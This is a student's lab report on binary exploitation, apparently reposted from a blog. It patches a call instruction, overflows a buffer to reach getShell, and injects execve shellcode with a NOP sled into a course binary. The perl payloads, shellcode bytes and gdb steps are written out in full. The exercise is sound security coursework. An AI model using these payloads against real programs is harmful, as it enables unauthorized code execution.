Exp1 PC平台逆向破解 20164309 欧阳彧骁
?
?
?
一、實(shí)踐目標(biāo)
本次實(shí)踐的對象是一個(gè)名為pwn1的linux可執(zhí)行文件。
該程序正常執(zhí)行流程是:main調(diào)用foo函數(shù),foo函數(shù)會(huì)簡單回顯任何用戶輸入的字符串。
該程序同時(shí)包含另一個(gè)代碼片段,getShell,會(huì)返回一個(gè)可用Shell。正常情況下這個(gè)代碼是不會(huì)被運(yùn)行的。我們實(shí)踐的目標(biāo)就是想辦法運(yùn)行這個(gè)代碼片段。我們將學(xué)習(xí)兩種方法運(yùn)行這個(gè)代碼片段,然后學(xué)習(xí)如何注入運(yùn)行任何Shellcode。
?
三個(gè)實(shí)踐內(nèi)容如下:
手工修改可執(zhí)行文件,改變程序執(zhí)行流程,直接跳轉(zhuǎn)到getShell函數(shù)。
利用foo函數(shù)的Bof漏洞,構(gòu)造一個(gè)攻擊輸入字符串,覆蓋返回地址,觸發(fā)getShell函數(shù)。
注入一個(gè)自己制作的shellcode并運(yùn)行這段shellcode。
?
這幾種思路,基本代表現(xiàn)實(shí)情況中的攻擊目標(biāo):
運(yùn)行原本不可訪問的代碼片段
強(qiáng)行修改程序執(zhí)行流
以及注入運(yùn)行任意代碼。
?
二、基礎(chǔ)知識:
1.通過結(jié)合計(jì)算機(jī)組成原理以及查閱相關(guān)資料,我們知道了NOP, JNE, JE, JMP, CMP等常用匯編指令的機(jī)器碼:
NOP:一個(gè)空指令,什么都不做,讓cpu等待一段時(shí)間,并且該指令會(huì)自動(dòng)對齊尋址。機(jī)器碼為0x90;
JNE:一個(gè)條件轉(zhuǎn)移指令,當(dāng)零標(biāo)志z=0時(shí)跳轉(zhuǎn)至標(biāo)號,z=1時(shí)順序執(zhí)行下一條指令。機(jī)器碼為0x75;
JE:一個(gè)條件轉(zhuǎn)移指令,當(dāng)零標(biāo)志z=1時(shí)跳轉(zhuǎn)至標(biāo)號,z=0時(shí)順序執(zhí)行下一條指令。機(jī)器碼為0x74;
JMP:無條件轉(zhuǎn)移指令。段內(nèi)直接近轉(zhuǎn)移Jmp near,機(jī)器碼為0xe9; 段內(nèi)間接轉(zhuǎn)移Jmp word,機(jī)器碼為0xff;段內(nèi)直接短轉(zhuǎn)Jmp short,機(jī)器碼為0xeb; 段間直接(遠(yuǎn))轉(zhuǎn)移Jmp far,機(jī)器碼為0xea;
CMP:比較指令,執(zhí)行減法操作但不保存運(yùn)算結(jié)果。
?
2.掌握反匯編與十六進(jìn)制編程器
通過查閱資料我們可以知道:
objdump反匯編命令:
objdump -f test???? //顯示test的文件頭信息
objdump -d test??? //反匯編test中的需要執(zhí)行指令的那些section
objdump -D test??? //與-d類似,但反匯編test中的所有section
objdump -h test??? //顯示test的Section Header信息
objdump -x test??? //顯示test的全部Header信息
objdump -s test??? //除了顯示test的全部Header信息,還顯示他們對應(yīng)的十六進(jìn)制文件代碼???
?
?
xxd命令:
用vi命令打開一個(gè)文件,在vi命令模式下輸入
:%!xxd??????????? //回車后,該文件會(huì)以十六進(jìn)制形式顯示
:%!xxd -r???????? //參數(shù)-r是指將當(dāng)前的十六進(jìn)制轉(zhuǎn)換為二進(jìn)制
?
三、實(shí)踐內(nèi)容
1.手工修改可執(zhí)行文件,改變程序執(zhí)行流程,直接跳轉(zhuǎn)到getShell函數(shù)。
設(shè)置共享文件夾將pwn1文件導(dǎo)入主目錄后并修改文件名為20164309,輸入:
objdump -d 20164309 | more得到反匯編代碼:
繼續(xù)下拉,找到getshell、foo與main函數(shù):
?
由主函數(shù)我們可以看出main函數(shù)調(diào)用foo,相應(yīng)的機(jī)器指令為“e8 d7ffffff”,其中“e8”為跳轉(zhuǎn)的意思。本來正常流程,此時(shí)此刻EIP的值應(yīng)該是下條指令的地址,即80484ba,但如一解釋e8這條指令呢,CPU就會(huì)轉(zhuǎn)而執(zhí)行“EIP + d7ffffff”這個(gè)位置的指令。“d7ffffff”是補(bǔ)碼,表示-41,即為目標(biāo)地址偏移量,41=0x29,80484ba+d7ffffff= 80484ba-0x29正好是8048491這個(gè)值,即為跳轉(zhuǎn)的目標(biāo)地址。那我們想讓它調(diào)用getShell,只要修改“d7ffffff”為,"getShell-80484ba"對應(yīng)的補(bǔ)碼就行。用Windows計(jì)算器,直接47d-4ba就能得到補(bǔ)碼,是c3ffffff。注意計(jì)算時(shí)是小端模式低字節(jié)優(yōu)先。
?修改可執(zhí)行文件,將call指令的目標(biāo)地址由d7ffffff變?yōu)閏3ffffff。
?
進(jìn)入到文件的vi模式,輸入:
Vim 20164309?
按esc鍵退出,輸入:
?
:%!xxd以查看其十六進(jìn)制
?
輸入:
/e8 d7找到目標(biāo)代碼 在000004b0
?
?
記錄目標(biāo)位置在000004b0這行,找到目標(biāo),將光標(biāo)移至d,按r鍵后修改為c,同理修改7為3:
?
輸入:
:%!xxd -r轉(zhuǎn)換16進(jìn)制為原格式
?
輸入:
:wq存盤退出
?
對文件再次進(jìn)行反匯編,找到主函數(shù)中之前調(diào)用foo的位置,發(fā)現(xiàn)call指令已經(jīng)改為調(diào)用getshell了
?
運(yùn)行后發(fā)現(xiàn)可以調(diào)用shell
?
2.利用foo函數(shù)的Bof漏洞,構(gòu)造一個(gè)攻擊輸入字符串,覆蓋返回地址,觸發(fā)getShell函數(shù)
進(jìn)行反匯編
?
我們可以利用foo函數(shù)中的Buffer overflow漏洞,造成緩沖區(qū)溢出,來覆蓋返回地址為主函數(shù)中的80484ba,從而調(diào)用getshell函數(shù)。
?
?2.1確認(rèn)輸入字符串哪幾個(gè)字符會(huì)覆蓋到返回地址
輸入:
gdb 20164309-2再輸入r指令執(zhí)行程序,我們可以嘗試著輸入一段字符串1111111122222222333333334444444412345678共40個(gè)字符
?
再輸入info r查看寄存器信息發(fā)現(xiàn)正是之前0x34333231,即為4321的ASCII碼,根據(jù)老師上課所講的知識可以知道Linux地址是由高到低的,說明覆蓋成功,之后的操作將其修改為getshell地址就能返回運(yùn)行到getshell了。
由于是第32為之后的覆蓋成功,能由此可見緩存區(qū)32個(gè)字節(jié)。
?
2.2構(gòu)造輸入字符串
由于小端模式我們將地址倒過來輸入即可:(原為0804847d改為7d840408)
11111111222222223333333344444444\x7d\x84\x04\x08
再之后加一個(gè)\x0a表示回車就構(gòu)造完成了。
輸入:
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
?
將input的輸入,通過管道符“|”,作為20164309-2的輸入,即可攻擊成功
(cat input; cat) | ./20164309-2?
?3.注入一個(gè)自己制作的shellcode并運(yùn)行這段shellcode
?
?3.1準(zhǔn)備一段shellcode
使用\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
這段機(jī)器指令,獲取一個(gè)交互式的shell
?
3.2下載execstack,使用期關(guān)閉地址隨機(jī)化,減少實(shí)驗(yàn)難度(0為關(guān)閉,2為開啟)
?
?3.3構(gòu)造注入需要的payload
采用retaddr+nop+shellcode結(jié)構(gòu)進(jìn)行構(gòu)造(nop一為是了填充,二是作為“著陸區(qū)/滑行區(qū)”。我們猜的返回地址只要落在任何一個(gè)nop上,自然會(huì)滑到我們的shellcode。):
perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode?
\x4\x3\x2\x1是將來要存放覆蓋RET地址的位置。
?3.4進(jìn)行攻擊
輸入之前構(gòu)造的代碼
?
同時(shí)開啟另一個(gè)終端來調(diào)試進(jìn)程
輸入:
ps -ef | grep 20164309-3?
啟動(dòng)gdb調(diào)試這個(gè)進(jìn)程
attach 35781?
?
通過設(shè)置斷點(diǎn),來查看注入buf的內(nèi)存地址
通過disassemble foo進(jìn)行反匯編以設(shè)置斷點(diǎn)
輸入
break *0x080484ae?
再輸入
info r esp對esp語句進(jìn)行查找
?
我們可以看到0xffffd30內(nèi)容被覆蓋為了1234,我們需要將之后的90909090覆蓋,則往后移四位地址,則目標(biāo)地址為:0xffffd310
由此我們可以重新構(gòu)造攻擊代碼:
perl -e 'print "A" x 32;print "\x10\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode攻擊成功!
?
?
?四、實(shí)驗(yàn)收獲與感想
1.實(shí)驗(yàn)收獲
這是我第一次進(jìn)行網(wǎng)絡(luò)對抗技術(shù)的實(shí)驗(yàn),深感自己的基本功不夠扎實(shí),課后花了加倍的時(shí)間才把老師上課早已講清楚的步驟和知識點(diǎn)弄懂。
在進(jìn)行“注入一個(gè)自己制作的shellcode并運(yùn)行這段shellcode”這項(xiàng)實(shí)驗(yàn)時(shí),我因?yàn)榕磺宄碚罩鴮?shí)驗(yàn)指導(dǎo)照貓畫虎導(dǎo)致了多次失敗,幸虧在實(shí)踐中搞明白了一開始的那一段攻擊代碼是中的起始的1234是存放覆蓋ret地址的位置,在讓我明白了第一次構(gòu)造是嘗試,第二次才是動(dòng)真格的。
總之,此次實(shí)驗(yàn)不僅讓我感受到Linux基本功還不夠扎實(shí),更表現(xiàn)了我動(dòng)手能力的不足,希望在今后的九次實(shí)驗(yàn)中,我能夠收獲知識與實(shí)踐能力。
?
2.什么是漏洞?漏洞有什么危害?
漏洞是在硬件、軟件、協(xié)議的具體實(shí)現(xiàn)或系統(tǒng)安全策略上存在的缺陷,也就是我們所說的“bug”。就像本次實(shí)驗(yàn)中利用foo函數(shù)的Bof漏洞,便是程序代碼存在一定的漏洞。
這些漏洞大多都是無意中被創(chuàng)造的,由于設(shè)計(jì)時(shí)不夠嚴(yán)謹(jǐn)導(dǎo)致一些問題,甚至有些漏洞被不懷好意之人所以利用,它在我們的日常生活中時(shí)常有體現(xiàn):木馬蠕蟲在網(wǎng)絡(luò)上大行其道,破壞人們的信息、財(cái)產(chǎn)安全,甚至給企業(yè)政府造成難以挽回的損失。
?
轉(zhuǎn)載于:https://www.cnblogs.com/20164309-kx/p/10534473.html
總結(jié)
以上是生活随笔為你收集整理的Exp1 PC平台逆向破解 20164309 欧阳彧骁的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 【Notes9】Linux系统启动过程,
- 下一篇: Exp2 后门原理与实践 2016430